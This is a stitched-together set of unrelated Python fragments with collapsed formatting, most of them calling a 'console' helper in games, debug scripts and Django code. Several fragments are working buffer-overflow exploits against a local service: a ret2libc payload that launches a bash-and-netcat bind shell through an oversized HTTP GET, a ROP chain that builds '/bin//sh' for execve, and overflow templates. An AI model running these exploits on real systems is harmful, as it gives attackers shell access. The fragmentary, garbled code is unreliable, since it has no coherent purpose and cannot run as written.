def saveTagInfo(tagInfo): with fileLock: if tagInfo.name == 'artist': print("saveTagInfo: tagInfo.name == 'artist'") from console import console console({**locals(), **globals()}) with open(f'{TAGS}/{legalizeTagName(tagInfo.name)}', 'wb+') as f: pickle.dump(tagInfo, f)
def get_context_data(self, **kwargs): self.hdbg('This', 'is', 'an', 'example', 'of') self.hdbg('self.hdbg', 'usage') self.hdbg(self.request.META) kwargs = super().get_context_data(**kwargs) query_string_p = numerify(self.request.GET.get('p')) console(query_string_p, type(query_string_p)) console.dir(self.request.user) return kwargs
def main(): folder = chooseFolder() duration_of_interest = chooseDurationOfInterest(folder) region_of_interest = chooseRegionOfInterest(folder, duration_of_interest) frames = getListOfFrames(folder, duration_of_interest, region_of_interest) print('Doing rfft...') f = np.fft.rfft(frames, axis=0) temp = present(f) console({**locals(), **globals()})
def main(): global hosts, result, s ss = PickleSocket() ss.bind(('localhost', 2333)) ss.listen(1) print('listening...') s, addr = ss.accept() s.shakeHands() result = forceMap(ping, range(256**2), THREADS) hosts = [x for x in result if x is not None] cmd('cls') print('There are:', len(hosts)) console(globals())
def demo_old(): terminals = TerminalServer() terminals.newTerminal('debug') terminals.newTerminal('warning') term_3 = terminals.newTerminal('error') # also returns the terminal terminals['debug'].print('1+1=2\n' * 10) # just like a dict term_3.print('1/0=?') terminals['warning'].print('Warning! Everything is OK! ') print('Try doing `term_3.print("lol")`') print('^Z to close.') console({**locals(), **globals()}) term_3.close() # you can close a specific terminals.closeAll() # or close all
def main(): if path.samefile(os.getcwd(), str(Path.home())): os.chdir(DEFAULT) if len(sys.argv) >= 2: url = sys.argv[1] if len(sys.argv) == 3: filename = sys.argv[2] else: filename = None wget(url, filename) else: from console import console console(globals())
def mouseUpdate(self): if pygame.time.get_ticks() >= self.mouseNext: if pygame.mouse.get_pressed()[0]: if self.state == "Lobby": for button in self.lobbyRoomButtons: if button.checkClicked(pygame.mouse.get_pos()): self.state = button.click() self.socket.send("JOIN:" + self.state) self.currentRoom = self.state self.state = "Room" for button in self.lobbyButtons: if button.checkClicked(pygame.mouse.get_pos()): self.state = button.click() if self.state == "Create": self.socket.send("CREATE") self.host = True self.state = "Lobby" self.currentRoom = self.username.input ## Message == SCORE:playerScore elif self.state == "Score": for button in self.scoreButtons: if button.checkClicked(pygame.mouse.get_pos()): self.state = button.click() elif self.state == "Room": for button in self.roomButtons: if button.checkClicked(pygame.mouse.get_pos()): self.state = button.click() if self.state == "Ready": self.socket.send("READY") self.state = "Room" elif self.state == "Lobby": self.socket.send("LEAVE ROOM") self.chatroom = console(self.screen, (636, 11), 367, 514, 20, 20) self.chatbox = console(self.screen, (636, 537), 367, 174, 20, 6, True) self.currentRoom = None self.host = False self.highScore = False elif self.state == "multiGame": self.socket.send("START") self.chatbox.selected = False self.state = "Room" self.highScore = False self.chatbox.checkClicked(pygame.mouse.get_pos()) self.mouseNext = pygame.time.get_ticks() + self.mouseDelay
def send_cmd(cmd): port = int(sys.argv[1]) sock = socket.create_connection(('127.0.0.1', port), socket.getdefaulttimeout(), ('127.0.0.1', 0)) sock.sendall("a"*1020) time.sleep(1) sock.sendall(cmd+"\r\n") while True: console(sock) sock.close()
def setUp(self): self.buffer = StringIO() self.console = console_main.console( source=__name__, writer=self.buffer, enabled=True, )
def main(): with open('../data2/pilot_features.csv', 'r', encoding='utf-8') as f: c = csv.reader(f) head = next(c) col = head.index('amenities') all_amens = Counter() i = 0 for row in c: i += 1 if i & 16 == 0: print(i) amens = row[col] all_amens.update(amens[1:-1].split(',')) [print(*x, sep='\t') for x in all_amens.most_common()] from console import console console(locals())
def main(): if len(sys.argv) < 2: from console import console console({'convert': convert}) else: in_filename = sys.argv[1] with openAsciize(in_filename, verbose = True) as inF: print('File opened:', in_filename) out_filename = path.splitext(in_filename)[0] + '.py' print('Will overwrite:', out_filename) if input('Ok? y/n ') == 'y': with open(out_filename, 'w') as outF: outF.write(convert(inF).read()) print('ok') else: print('canceled')
def __init__(self, screen, screenw, screenh, spriteList, soundManager, username, socket): self.sprites = spriteList self.screen = screen self.screenw = screenw self.screenh = screenh self.soundManager = soundManager self.username = username self.socket = socket self.state = "Lobby" self.fontSize = 80 self.font = pygame.font.Font(os.path.join('Fonts', 'BaconFarm.ttf'), self.fontSize) self.roomFontSize = 50 self.roomFont = pygame.font.Font(os.path.join('Fonts', 'nasalization-rg.ttf'), self.roomFontSize) self.lobbyButtons = [] self.lobbyButtons.append(Button(self.screen, self.sprites.getSprite("LobbyCreateButton"), self.sprites.getSprite("LobbyCreateButtonHovered"), self.screenw - 283, 225, 280, 68, "Create", '', soundManager)) self.lobbyButtons.append(Button(self.screen, self.sprites.getSprite("LobbyEjectButton"), self.sprites.getSprite("LobbyEjectButtonHovered"), self.screenw - 283, 425, 280, 68, "Menu", '', soundManager)) self.lobbyRoomButtons = [] self.roomButtons = [] self.roomButtons.append(Button(self.screen, self.sprites.getSprite("ready"), self.sprites.getSprite("readyhover"), 0, self.screenh - 90, 184, 85, "Ready", '', soundManager)) self.roomButtons.append(Button(self.screen, self.sprites.getSprite("exitbutton"), self.sprites.getSprite("exitbuttonhover"), 220*2, self.screenh - 90, 184, 85, "Lobby", '', soundManager)) self.roomButtons.append(Button(self.screen, self.sprites.getSprite("startbuttondisable"), self.sprites.getSprite("startbuttondisable"), 220, self.screenh - 90, 184, 85, "multiGame", '', self.soundManager, True)) self.rooms = {} self.currentRoom = None self.chatroom = console(self.screen, (636, 11), 367, 514, 20, 20) self.chatbox = console(self.screen, (636, 537), 367, 174, 20, 6, True) self.players = None self.score = 0 self.highScore = False self.winner = None self.scoreButtons = [] self.scoreButtons.append(Button(self.screen, self.sprites.getSprite("exit"), self.sprites.getSprite("exitHighlighted"), 368, 534, 281, 68, "Room", '', soundManager)) self.mouseDelay = 50 self.mouseNext = pygame.time.get_ticks() self.host = False self.socket.send("REFRESH")
def __init__(self,board,num_players=2,players=[]): self.players=players self.board=board self.console=_console.console() self.statusWindow=statusWindow() self.default_money = 1500 self.current_player = 0 # index of the current player self.winner = -1; self.num_players = num_players
def main(): global s, hs s = HarmonicSynth(1, SR, FRAME_LEN, DTYPE[0], True, True, .02) hs = [Harmonic(220, 1) for _ in range(1)] pa = pyaudio.PyAudio() stream = pa.open( format = DTYPE[1], channels = 1, rate = SR, output = True, frames_per_buffer = FRAME_LEN, stream_callback = onAudioOut, ) stream.start_stream() try: from console import console console({**locals(), **globals()}) finally: print('Releasing resources... ') stream.stop_stream() stream.close() pa.terminate() print('Resources released. ')
def __init__(self,num_players=2,players=[]): self.players=players self.board=Board() self.gameWindow=None self.console=_console.console() self.default_money = 1500 self.current_player_index = 0 # index of the current player self.winner = -1 if num_players == 1: self.num_players = 2 #Its not a game of one else: self.num_players = num_players
def main(): t = TerminalThreePack('Example App', path.join(path.dirname(__file__), 'demo_logs')) t['info'].print('Demonstrating anti-injection feature...') t['info'].print(f'user input = <log_<log_deli>deli>') sleep(1) t['info'].print('Start demonstrating main features! ') try: for i in range(99): for k in range(-i, i): try: p = i / k t['debug'].print(i, '/', k, '=', p) except Exception as e: t['warning'].exception() sleep(.5) t['info'].print(f'Rank {i} test complete! ') except KeyboardInterrupt: print('I hope that was fun!') print("Now it's your turn. ") console({**globals(), **locals()})
def __init__(self, num_players=2, players=[]): self.players = players self.board = Board() self.gameWindow = None self.console = _console.console() self.default_money = 1500 self.current_player_index = 0 # index of the current player self.winner = -1 if num_players == 1: self.num_players = 2 #Its not a game of one else: self.num_players = num_players self.doubles = 0
def chooseDurationOfInterest(folder): files = sorted([x for x in os.listdir(folder) if x.endswith('.jpg')]) print('Total jpg files:', len(files)) boundaries = [] for i, prompt in [(0, 'start = '), (-1, 'end = ')]: dt = datetime.fromtimestamp(parseFilename(files[i])) default = dt.__repr__().split('.', 1)[1] boundaries.append(eval(inputChin(prompt, default)).timestamp()) start, end = boundaries last_timestamp, time_delta = None, None before_start = 0 duration = [] for file in files: now_timestamp = parseFilename(file) if now_timestamp < start: before_start += 1 continue if now_timestamp > end: break if last_timestamp is None: last_timestamp = now_timestamp else: if time_delta is None: time_delta = int( inputChin('time_delta = ', now_timestamp - last_timestamp)) if abs((now_timestamp - last_timestamp) / time_delta - 1) > TIME_FLUCT_TOLERANCE: print('Error! Missing a frame at', datetime.fromtimestamp(last_timestamp + time_delta)) console(locals()) exit() last_timestamp = now_timestamp duration.append(file) taken = len(duration) print(before_start, 'before start,', taken, 'taken, and', len(files) - before_start - taken, 'after end. ') return duration
def get(driver: WebDriver, url): driver.get(url) if not driver.title.strip().endswith('· NIME 2021'): print('Error. title is:', driver.title) from console import console console({**globals(), **locals()}) driver.execute_script(''' document.getElementsByClassName( 'more-cite-options-button' )[0].click(); ''') cites = driver.find_elements_by_class_name('csl-entry') def findBib(): for cite in cites: if '@inproceedings' in cite.text: return cite.text return False while not findBib(): time.sleep(1) return findBib()
def client(): # Initialize components n = NC.client_thread(sys.argv[2],8888) n.connect() c = C.console(n) c.setDaemon(True) c.start() # Dummy main event loop for client while n.connected: if n.match: # This loop will run at a pre determined rate (eg. 10 Hz) # Pack/queue all player commands (NET:Provide methods to pack and queue) n.send() # Send player commands (NET:Provide method to send all packets) # Process all commands (NET:Provide access to all the commands) # Process metrics (NET:Provide access to simplified metrics) # Progess turn number (NET:Handle internally I think) time.sleep(1) # Dummy frame render time n.recv() # Recv oponent commands (NET:Provide method to recv all packets) else: pass
def simulate(self): cl = 'cls' if (platform.system() == 'Windows') else 'clear' clear = lambda: os.system(cl) while 1: clear() view = input('\nChoose view\n1. GUI\n2. Console\n\nView: ') if view == 1 or view == 2: break traffic = input('Enter the traffic density (Number of planes): ') initset = datagen.generateset(traffic) planes = list() #c = collision(traffic) for i in xrange(traffic): temp = Plane(initset.pid[i], i) planes.append(temp) planes.append(ATC()) if view == 1: gui = GUI.gui() gui.gui(planes) else: con = console.console(planes)
temp = tmp.split('\n') lastLine = temp[len(temp)-2] stack= int(lastLine[52:60], 16)+400 system = unpack('<I', lastLine[60:64])[0]-54272 exit = unpack('<I', lastLine[60:64])[0]-109776 p = '' p += pack('<I', system) #system p += pack('<I', exit) #exit p += pack('<I', stack) #cmd p += pack('<I', stack-100) p += pack('<I', stack-100) p += ' '*500 p += "bash -c 'coproc p { /bin/bash 2>&1; }; nc -l 127.0.0.1 "+sys.argv[2]+" <&${p[0]} >&${p[1]}'; " port = int(sys.argv[1]) sock = socket.create_connection(('127.0.0.1', port), socket.getdefaulttimeout(), ('127.0.0.1', 0)) sock.sendall("GET /"+" "+'w'*119+p+"\r\n\r\n") time.sleep(5) port = int(sys.argv[2]) sock = socket.create_connection(('127.0.0.1', port), socket.getdefaulttimeout(), ('127.0.0.1', 0)) console(sock)
p += pack('<I', 0x0808522a) # pop edx ; ret p += pack('<I', 0x08139060) # @ .data p += pack('<I', 0x080f1016) # pop eax ; ret p += b'/bin' p += pack('<I', 0x080c219d) # mov dword ptr [edx], eax ; ret p += pack('<I', 0x0808522a) # pop edx ; ret p += pack('<I', 0x08139064) # @ .data + 4 p += pack('<I', 0x080f1016) # pop eax ; ret p += b'//sh' p += pack('<I', 0x080c219d) # mov dword ptr [edx], eax ; ret p += pack('<I', 0x0808522a) # pop edx ; ret p += pack('<I', 0x08139068) # @ .data + 8 p += pack('<I', 0x08048ac1) # xor eax, eax ; ret p += pack('<I', 0x080c219d) # mov dword ptr [edx], eax ; ret p += pack('<I', 0x080481e1) # pop ebx ; ret p += pack('<I', 0x08139060) # @ .data p += pack('<I', 0x0812b35b) # pop ecx ; ret p += pack('<I', 0x08139068) # @ .data + 8 p += pack('<I', 0x0808522a) # pop edx ; ret p += pack('<I', 0x08139068) # @ .data + 8 p += pack('<I', 0x080f1016) # pop eax ; ret p += pack('<I', 11) p += pack('<I', 0x08074ded) # int 0x80 sock.sendall(b'A' * 1023) time.sleep(1) sock.sendall(p) connection = new_socket.accept()[0] console(connection) # :vim set sw=4 ts=8 sts=8 expandtab:
''' More math utils than just `import math` ''' import math def factorial(up, down=0, optimize=True): ''' When testing the runspeed, I found Python actually optimizes factorial(x) // factorial(y). But when doing factorial(50000, 49000), my optimization is still faster, for unknown reasons. ''' if down == 0: return math.factorial(up) if not optimize: return math.factorial(up) // math.factorial(down) else: result = 1 for i in range(down + 1, up + 1): result *= i return result if __name__ == '__main__': from console import console console(globals())
#Since it's going to be used a ton, short name gv for global variable access #TODO add in config.ini class to fill in globalvars gv = globalvars.globalvars(size, framerate) gv.version = u"Deluge 0.2 | Perineum." #should toss time in a class eventually gv.Clock = pygame.time.Clock() gv.Clock.tick() displayinstance = display.display(gv) #playfieldinstance = playfield.playfield(gv, displayinstance) consoleinstance = console.console(gv, displayinstance) eventsinstance = events.events(gv, displayinstance, consoleinstance) gameinstance = deluge.deluge(gv, displayinstance) gameinstance.initBoard() while 1: eventsinstance.handleevents() displayinstance.begin() #---- deluge #playfieldinstance.drawplayfield() gameinstance.checkEvents() gameinstance.drawBoard()
print "You will be asked to update on exit." print update = True else: update = False emailbg = check.emailcheck() emailbg.daemon = True emailbg.start() print "E-mail service started!" txtbg = check.txtcheck() txtbg.daemon = True txtbg.start() print "Text service started!" plgverify = plgverify.plgverify() print "Plugins have been verified!" consolebg = console.console() print "All systems are go!" consolebg.run() if update == True and settings[0] == True: os.spawnl(os.P_NOWAIT, "python.exe update.py") sys.exit() if update == True and settings[0] == False: upyn = raw_input("Would you like to update? (Yes/no)") if upyn == "Yes" or "Y": os.spawnl(os.P_NOWAIT, "python.exe update.py") sys.exit() else: sys.exit() elif update == False: sys.exit()
def run (self): # -- bring up the main menu if input_has_been_pushed (SDLK_ESCAPE): import main_menu # -- create main menu without animation, # with saving and background enabled menu = main_menu.main_menu (1, 1, 1) # -- Stop updating the player gamedata_player ().set_schedule_active (0) gamedata_engine ().set_control_active (0) # -- open the main menu gamedata_engine ().main (menu, "game_menu") # -- main menu closed -> see what to do if menu.get_result () == 5: # -- quit the game gamedata_engine ().main_quit () else: # -- continue gamedata_player ().set_schedule_active (1) gamedata_engine ().set_control_active (1) win_container.__del__ (menu) # -- shortcut to the load screen elif input_has_been_pushed (SDLK_l): s = data_screen (LOAD_SCREEN) s.set_activate (1) # -- Stop updating the player gamedata_player ().set_schedule_active (0) gamedata_engine ().set_control_active (0) # -- open the load screen gamedata_engine ().main (s, "load_screen") # -- continue gamedata_player ().set_schedule_active (1) gamedata_engine ().set_control_active (1) # -- and to the save screen elif input_has_been_pushed (SDLK_s): s = data_screen (SAVE_SCREEN) s.set_activate (1) # -- Stop updating the player gamedata_player ().set_schedule_active (0) gamedata_engine ().set_control_active (0) # -- open the save screen gamedata_engine ().main (s, "save_screen") # -- continue gamedata_player ().set_schedule_active (1) gamedata_engine ().set_control_active (1) # -- python console elif input_has_been_pushed (SDLK_TAB): import console c = console.console (globals ()) c.set_activate (1) # -- Stop updating the player gamedata_player ().set_schedule_active (0) gamedata_engine ().set_control_active (0) # -- open the console gamedata_engine ().main (c, "console") # -- continue gamedata_player ().set_schedule_active (1) gamedata_engine ().set_control_active (1)
if __name__ == "__main__": from console import console console()
import socket import sys import time if len(sys.argv) != 3: sys.exit("Usage: %s PORT CONNECT_PORT" % sys.argv[0]) port = int(sys.argv[1]) sock = socket.create_connection(('127.0.0.1', port)) port1 = int(sys.argv[2]) p = ("A" * 29).encode('utf-8') ## ## Add your payload here. ## sock1 = socket.socket() sock1.bind(('127.0.0.1', port1)) sock1.listen(5) init = "A" * 1023 sock.sendall(init.encode('utf-8')) time.sleep(1) sock.sendall(p) c, addr = sock1.accept() console(c)
import logging from django.contrib import admin from django.contrib.auth.models import Permission from console import console __all__ = ['PermissionAdmin'] console = console(source=__name__) logger = logging.getLogger('app') @admin.register(Permission) class PermissionAdmin(admin.ModelAdmin): search_fields = ['name'] list_filter = ['content_type'] list_select_related = ['content_type'] autocomplete_fields = ['content_type'] ordering = ['content_type__model']
def main(): console({'sqrt': sqrt}, use_input=True, fixer=fixer)
framerate = 30 #Since it's going to be used a ton, short name gv for global variable access #TODO add in config.ini class to fill in globalvars gv = globalvars.globalvars(size, framerate) gv.version = u"Deluge 0.2 | Perineum." #should toss time in a class eventually gv.Clock = pygame.time.Clock() gv.Clock.tick() displayinstance = display.display(gv) #playfieldinstance = playfield.playfield(gv, displayinstance) consoleinstance = console.console(gv, displayinstance) eventsinstance = events.events(gv, displayinstance, consoleinstance) gameinstance = deluge.deluge(gv, displayinstance) gameinstance.initBoard() while 1: eventsinstance.handleevents() displayinstance.begin() #---- deluge #playfieldinstance.drawplayfield() gameinstance.checkEvents() gameinstance.drawBoard() #----
#!/usr/bin/env python """ Author: lunatunez Date Created: Mon Apr 4 20:28:29 2016 Purpose: Tic Tac Toe Game """ import sys import console import gui def usage(runfile): print('Incorrect number of arguments.') print('usage: $ python3 {} mode'.format(runfile)) print('mode can be "console" or "gui"') if __name__ == "__main__": # Check arguments if len(sys.argv) != 2: usage(sys.argv[0]) elif sys.argv[1] == 'console': console.console() elif sys.argv[1] == 'gui': gui.run() else: usage(sys.argv[0])
#Since it's going to be used a ton, short name gv for global variable access #TODO add in config.ini class to fill in globalvars gv = globalvars.globalvars(size, framerate) gv.version = "Flippy Pad 0.3" #should toss time in a class eventually gv.Clock = pygame.time.Clock() gv.Clock.tick() displayinstance = display.display(gv) consoleinstance = console.console(gv) eventsinstance = events.events(gv) flippy = flippy_pad.flippy(gv) #gv.console.log("MAIN: TEST LOG ENTRY - WEE!") while 1: eventsinstance.handleEvents() flippy.update() consoleinstance.begin()